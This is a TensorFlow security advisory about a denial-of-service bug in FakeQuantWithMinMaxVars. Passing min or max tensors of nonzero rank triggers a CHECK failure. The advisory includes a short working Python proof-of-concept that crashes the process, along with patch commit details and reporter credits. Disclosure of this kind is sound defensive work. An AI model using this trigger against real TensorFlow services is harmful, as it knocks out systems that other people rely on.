TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`

Impact

If FakeQuantWithMinMaxVars is given min or max tensors of a nonzero rank, it results in a CHECK fail that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

num_bits = 8

narrow_range = False

inputs = tf.constant(0, shape=[2,3], dtype=tf.float32)

min = tf.constant(0, shape=[2,3], dtype=tf.float32)

max = tf.constant(0, shape=[2,3], dtype=tf.float32)

tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)

`

Patches

We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by:

• Neophytos Christou, Secure Systems Labs, Brown University.
• 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology